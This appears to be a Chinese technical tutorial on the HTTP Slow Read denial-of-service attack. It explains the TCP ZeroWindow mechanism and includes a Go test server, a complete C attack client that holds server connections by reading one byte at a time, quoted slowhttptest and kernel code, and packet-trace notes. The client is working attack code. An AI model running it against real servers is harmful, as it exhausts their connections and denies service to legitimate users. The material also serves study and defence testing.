简介
HTTP慢速攻击是利用HTTP合法机制,以极低的速度往服务器发送HTTP请求,尽量长时间保持连接,不释放,若是达到了Web Server对于并发连接数的上限,同时恶意占用的连接没有被释放,那么服务器端将无法接受新的请求,导致拒绝服务。
常见的HTTP 慢速攻击有如下三种:
- Slow headers
- Slow body
- Slow read
这里主要介绍Slow read的原理和实现。
原理
Slow read(也称Slow Read attack):客户端与服务器建立连接并发送了一个HTTP请求,客户端发送完整的请求给服务器端,然后一直保持这个连接,以很低的速度读取Response,比如很长一段时间客户端不读取任何数据,想要使这种攻击效果明显,请求的资源要尽量大,让响应数据填满客户端的接收缓冲区,触发客户端发送Zero Window到服务器,让服务器误以为客户端很忙,直到连接快超时前才读取一个字节,以消耗服务器的连接和内存资源。
实现
服务端
package main
import (
"fmt"
"net/http"
"strings"
)
func main() {
http.HandleFunc("/", handleRequest)
fmt.Println("服务器启动在 :80...")
http.ListenAndServe(":80", nil)
}
func handleRequest(w http.ResponseWriter, r *http.Request) {
// 生成响应数据很大,超过window size
response := strings.Repeat("abc123456", 10000)
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.WriteHeader(http.StatusOK)
fmt.Fprint(w, response)
}
客户端
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int slow_read(const char *target, const char *http_data, int interval) {
int sock;
struct sockaddr_in server;
struct sockaddr_in6 server6;
int rcvbuf = 0;
char buf[1];
int is_ipv6 = 0;
// Create socket
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
printf("Failed to create socket\n");
return -1;
}
// Set receive buffer size to 0, centos minimum is 2304
if (setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0) {
printf("Failed to set receive buffer\n");
return -1;
}
// Parse target address and port
char *target_copy = strdup(target);
char *host = target_copy;
char *port_str = NULL;
int port = 80;
// 处理IPv6地址,去掉包裹的[]
if (host[0] == '[') {
is_ipv6 = 1;
host++; // 跳过开头的[
port_str = strstr(host, "]:");
if (port_str != NULL) {
*port_str = '\0'; // 截断]
port_str += 2; // 跳过]:
port = atoi(port_str);
} else {
char *end_bracket = strchr(host, ']');
if (end_bracket) *end_bracket = '\0'; // 去掉结尾的]
}
} else {
// 查找并分离端口号
port_str = strrchr(target_copy, ':');
if (port_str != NULL) {
*port_str = '\0';
port_str++;
port = atoi(port_str);
}
}
if (is_ipv6) {
// 关闭IPv4 socket,创建IPv6 socket
close(sock);
sock = socket(AF_INET6, SOCK_STREAM, 0);
if (sock < 0) {
printf("Failed to create IPv6 socket\n");
free(target_copy);
return -1;
}
// 设置IPv6地址
memset(&server6, 0, sizeof(server6));
server6.sin6_family = AF_INET6;
server6.sin6_port = htons(port);
if (inet_pton(AF_INET6, host, &server6.sin6_addr) <= 0) {
printf("Invalid IPv6 address: %s\n", host);
free(target_copy);
return -1;
}
// 连接IPv6服务器
if (connect(sock, (struct sockaddr*)&server6, sizeof(server6)) < 0) {
printf("IPv6 connection failed\n");
free(target_copy);
return -1;
}
} else {
// 设置IPv4地址
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(port);
if (inet_pton(AF_INET, host, &server.sin_addr) <= 0) {
printf("Invalid IPv4 address: %s\n", host);
free(target_copy);
return -1;
}
// 连接IPv4服务器
if (connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0) {
printf("IPv4 connection failed\n");
free(target_copy);
return -1;
}
}
free(target_copy);
// Send HTTP request
if (send(sock, http_data, strlen(http_data), 0) < 0) {
printf("Failed to send data\n");
return -1;
}
// 慢速读取响应
while (read(sock, buf, 1) > 0) {
sleep(interval);
}
close(sock);
return 0;
}
分析
接收缓存区设置
- 通过setsockopt函数,使用SO_RCVBUF标志对接收缓存区设置
int rcvbuf = 0;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)
- slowhttptest也是同样的实现机制
bool SlowSocket::set_window_size(int wnd_size) {
int actual_wnd_size = 0;
socklen_t actual_wnd_size_len = sizeof(actual_wnd_size);
bool ret = setsockopt(sockfd_, SOL_SOCKET, SO_RCVBUF, &wnd_size, sizeof(wnd_size));
if(ret) {
slowlog(LOG_ERROR, "error setting socket send buffer size to %d: %s\n", wnd_size, strerror(errno));
} else {
getsockopt(sockfd_, SOL_SOCKET, SO_RCVBUF, &actual_wnd_size, &actual_wnd_size_len);
slowlog(LOG_DEBUG, "set socket %d receive buffer size to %d bytes(requested %d)\n", sockfd_, actual_wnd_size, wnd_size);
}
return ret;
}
- 虽然设置为0,但linux内核有最小限制,SOCK_MIN_RCVBUF测试centos为2304
/* Since sk_{r,w}mem_alloc sums skb->truesize, even a small frame might
* need sizeof(sk_buff) + MTU + padding, unless net driver perform copybreak.
* Note: for send buffers, TCP works better if we can build two skbs at
* minimum.
*/
#define TCP_SKB_MIN_TRUESIZE (2048 + SKB_DATA_ALIGN(sizeof(struct sk_buff)))
#define SOCK_MIN_SNDBUF (TCP_SKB_MIN_TRUESIZE * 2)
#define SOCK_MIN_RCVBUF TCP_SKB_MIN_TRUESIZE
TCP ZeroWindow
-
客户端设置接收缓冲区大小为最小值
-
tcp三次握手,此时可以从报文中看出Win为1152
- SYN报文中的Window字段为1152
- SYN报文中Options中Window Scale为0,即乘1
-
客户端发送http请求
-
服务端第一个响应包返回576字节响应数据
-
服务端第二个响应包返回576字节响应数据
-
客户端因未读取,接收缓冲区已满,触发TCP ZeroWindow通告报文(Window字段为0)
-
服务端响应keep alive进行连接保活
-
实现了连接保持的效果
Go实现问题
conn, err := net.DialTimeout("tcp", slowTarget, time.Second)
if err != nil {
fmt.Println("connecting to tcp target:", slowTarget, "failed,err:", err)
return
}
if err := conn.(*net.TCPConn).SetReadBuffer(0); err != nil {
fmt.Println("set read buffer failed:", err)
return
}
- 只能在tcp连接建立后再设置接收缓冲区
- 但此时客户端和服务端已经协商了Window
- 此时设置接收缓冲区只是让客户端不响应ACK
- 服务端因没有收到客户端ACK而进行重传